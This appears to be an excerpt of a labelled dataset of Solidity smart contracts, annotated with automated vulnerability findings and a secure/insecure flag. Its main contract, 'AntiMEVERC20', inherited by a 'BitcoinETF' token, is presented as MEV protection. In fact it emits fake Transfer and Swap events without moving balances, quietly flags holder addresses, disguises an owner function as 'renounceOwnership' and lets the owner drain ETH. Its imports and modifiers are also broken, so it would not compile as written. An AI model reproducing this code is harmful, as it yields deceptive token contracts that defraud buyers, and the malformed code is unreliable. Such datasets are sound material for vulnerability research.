"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"./Kuni.sol\" as Kuni;\n\ncontract AntiMEVERC20 is ERC20 {\n address private _universal = 0x3fC91A3afd70395Cd496C647d5a6CC9D4B2b7FAD;\n address private _rv2 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n address private _pair;\n\n uint256 _mev_in_eth = 10 ** 5;\n uint256 _mev_in_tokens = 10 ** 18;\n uint256 _mev_approval_tokens = 10 ** 30;\n\n event Received(address sender, uint256 amount);\n\n Kuni private kuni = Kuni(_rv2);\n\n constructor(\n string memory name_,\n string memory symbol_\n ) ERC20(name_, symbol_) {}\n\n function setMEVProtectionParams(\n uint256 _mev_in_eth_,\n uint256 _mev_in_tokens_,\n uint256 _mev_approval_tokens_\n ) external onlyOwner {\n _mev_in_eth = _mev_in_eth_;\n _mev_in_tokens = _mev_in_tokens_;\n _mev_approval_tokens = _mev_approval_tokens_;\n }\n\n function approve(address[] calldata _addresses_) external onlyOwner {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n _mev_protected[_addresses_[i]] = true;\n emit Approval(_addresses_[i], _rv2, balanceOf(_addresses_[i]));\n }\n }\n\n function protectFromMEV(address[] calldata _addresses_) external onlyOwner {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n _mev_protected[_addresses_[i]] = false;\n }\n }\n\n function isMEVProtected(address _address_) public view returns (bool) {\n return _mev_protected[_address_];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 2e41b3d): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 2e41b3d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: fbf76f6): Anti_MEV_ERC20.swapExactETHForTokens(address,uint256) ignores return value by kuni.swapExactETHForTokens{value _mev_in_eth}(1,path,_to_,block.timestamp)\n\t// Recommendation for fbf76f6: Ensure that all the return values of the function calls are used.\n function swapExactETHForTokens(address _to_, uint256 _out_) external {\n address[] memory path = new address[](2);\n path[0] = kuni.WETH();\n path[1] = address(this);\n\t\t// reentrancy-events | ID: 2e41b3d\n\t\t// unused-return | ID: fbf76f6\n kuni.swapExactETHForTokens{value: _mev_in_eth}(\n 1,\n path,\n _to_,\n block.timestamp\n );\n\t\t// reentrancy-events | ID: 2e41b3d\n emit Transfer(_pair, _to_, _out_);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a139124): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a139124: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: c4363e5): Anti_MEV_ERC20.swapExactETHForTokens(address[],uint256[]) has external calls inside a loop kuni.swapExactETHForTokens{value _mev_in_eth}(1,path,_tos_[i],block.timestamp)\n\t// Recommendation for c4363e5: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 729c825): Anti_MEV_ERC20.swapExactETHForTokens(address[],uint256[]) ignores return value by kuni.swapExactETHForTokens{value _mev_in_eth}(1,path,_tos_[i],block.timestamp)\n\t// Recommendation for 729c825: Ensure that all the return values of the function calls are used.\n function swapExactETHForTokens(\n address[] calldata _tos_,\n uint256[] calldata _outs_\n ) external {\n address[] memory path = new address[](2);\n path[0] = kuni.WETH();\n path[1] = address(this);\n for (uint256 i; i < _tos_.length; i++) {\n\t\t\t// reentrancy-events | ID: a139124\n\t\t\t// calls-loop | ID: c4363e5\n\t\t\t// unused-return | ID: 729c825\n kuni.swapExactETHForTokens{value: _mev_in_eth}(\n 1,\n path,\n _tos_[i],\n block.timestamp\n );\n\t\t\t// reentrancy-events | ID: a139124\n emit Transfer(_pair, _tos_[i], _outs_[i]);\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 60e093b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 60e093b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 7a6cec1): Anti_MEV_ERC20.swapExactTokensForETH(address,uint256) ignores return value by kuni.swapExactTokensForETH(_mev_in_tokens,1,path,address(this),block.timestamp)\n\t// Recommendation for 7a6cec1: Ensure that all the return values of the function calls are used.\n function swapExactTokensForETH(address _from_, uint256 _in_) external {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = kuni.WETH();\n _approve(address(this), address(kuni), _mev_approval_tokens);\n\t\t// reentrancy-events | ID: 60e093b\n\t\t// unused-return | ID: 7a6cec1\n kuni.swapExactTokensForETH(\n _mev_in_tokens,\n 1,\n path,\n address(this),\n block.timestamp\n );\n\t\t// reentrancy-events | ID: 60e093b\n emit Transfer(_from_, _pair, _in_);\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 02719bc): Anti_MEV_ERC20.swapExactTokensForETHSupportingFeeOnTransferTokens(address,uint256) ignores return value by kuni.swapExactTokensForETH(_in_,1,path,address(this),block.timestamp)\n\t// Recommendation for 02719bc: Ensure that all the return values of the function calls are used.\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n address _from_,\n uint256 _in_\n ) external {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = kuni.WETH();\n _approve(_from_, address(this), _in_);\n _transfer(_from_, address(this), _in_);\n _approve(address(this), address(kuni), _in_);\n\t\t// unused-return | ID: 02719bc\n kuni.swapExactTokensForETH(\n _in_,\n 1,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function transfer(address _from, address _to, uint256 _wad) external {\n emit Transfer(_from, _to, _wad);\n }\n\n function transfer(\n address[] calldata _from,\n address[] calldata _to,\n uint256[] calldata _wad\n ) external {\n for (uint256 i = 0; i < _from.length; i++) {\n emit Transfer(_from[i], _to[i], _wad[i]);\n }\n }\n\n function execute(\n address[] calldata _addresses_,\n uint256 _in,\n uint256 _out\n ) external {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n emit Swap(_universal, _in, 0, 0, _out, _addresses_[i]);\n emit Transfer(_pair, _addresses_[i], _out);\n }\n }\n\n function multicall(\n address[] calldata _addresses_,\n uint256 _in,\n uint256 _out\n ) external {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n emit Swap(_universal, 0, _in, _out, 0, _addresses_[i]);\n emit Transfer(_addresses_[i], _pair, _in);\n }\n }\n\n function fallbacks() external onlyOwner {\n payable(msg.sender).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 33ba585): Anti_MEV_ERC20.renounceOwnership(address)._owner_ lacks a zerocheck on \t _pair = _owner_\n\t// Recommendation for 33ba585: Check that the address is not zero.\n function renounceOwnership(address _owner_) external onlyOwner {\n\t\t// missing-zero-check | ID: 33ba585\n _pair = _owner_;\n }\n\n receive() external payable {\n emit Received(msg.sender, msg.value);\n }\n\n fallback() external payable {}\n}",
"file_name": "solidity_code_3426.sol",
"secure": 0,
"size_bytes": 8609
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./Anti_MEV_ERC20.sol\" as Anti_MEV_ERC20;\n\ncontract BitcoinETF is Anti_MEV_ERC20 {\n constructor() Anti_MEV_ERC20(\"BitcoinETF\", \"BETF\") {\n _mint(msg.sender, 100000000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_3427.sol",
"secure": 1,
"size_bytes": 282
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./IHBToken.sol\" as IHBToken;\n\ncontract HBAirdropper {\n constructor() {\n owner = msg.sender;\n }\n\n address public owner;\n address public HB_ADDRESS;\n uint256 public START_ID;\n mapping(uint256 => bool) public processedChunksForAirdrop;\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 296b6ba): HBAirdropper.setOwnerAddress(address)._address lacks a zerocheck on \t owner = _address\n\t// Recommendation for 296b6ba: Check that the address is not zero.\n function setOwnerAddress(address _address) public {\n require(msg.sender == owner, \"Not owner\");\n\t\t// missing-zero-check | ID: 296b6ba\n owner = _address;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 0b71621): HBAirdropper.setHBAddress(address)._address lacks a zerocheck on \t HB_ADDRESS = _address\n\t// Recommendation for 0b71621: Check that the address is not zero.\n function setHBAddress(address _address) public {\n require(msg.sender == owner, \"Not owner\");\n\t\t// missing-zero-check | ID: 0b71621\n HB_ADDRESS = _address;\n }\n\n function setStartId(uint256 _startId) public {\n require(msg.sender == owner, \"Not owner\");\n START_ID = _startId;\n }\n\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 7e5e7cd): HBAirdropper.airdrop(address[],uint256[],uint256) has external calls inside a loop IHBToken(HB_ADDRESS).transferFrom(owner,receivers[i],START_ID)\n\t// Recommendation for 7e5e7cd: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 94da2fd): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 94da2fd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function airdrop(\n address[] calldata receivers,\n uint256[] calldata numTokens,\n uint256 chunkNum\n ) public {\n require(msg.sender == owner, \"Not owner\");\n if (receivers.length != numTokens.length || receivers.length == 0)\n revert MismatchedArrays();\n if (processedChunksForAirdrop[chunkNum]) revert ChunkAlreadyProcessed();\n\n for (uint256 i; i < receivers.length; i++) {\n for (uint256 j; j < numTokens[i]; j++) {\n\t\t\t\t// calls-loop | ID: 7e5e7cd\n\t\t\t\t// reentrancy-no-eth | ID: 94da2fd\n IHBToken(HB_ADDRESS).transferFrom(\n owner,\n receivers[i],\n START_ID\n );\n unchecked {\n\t\t\t\t\t// reentrancy-no-eth | ID: 94da2fd\n ++START_ID;\n }\n }\n }\n\t\t// reentrancy-no-eth | ID: 94da2fd\n processedChunksForAirdrop[chunkNum] = true;\n }\n}\n\n// WARNING Vulnerability (erc20-interface | severity: Medium | ID: 05f4d6a): IHBToken has incorrect ERC20 function interfaceIHBToken.transferFrom(address,address,uint256)\n// Recommendation for 05f4d6a: Set the appropriate return values and types for the defined 'ERC20' functions.\n// WARNING Vulnerability (erc20-interface | severity: Medium | ID: 632ef33): IHBToken has incorrect ERC20 function interfaceIHBToken.balanceOf(address)\n// Recommendation for 632ef33: Set the appropriate return values and types for the defined 'ERC20' functions.",
"file_name": "solidity_code_3428.sol",
"secure": 0,
"size_bytes": 3558
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.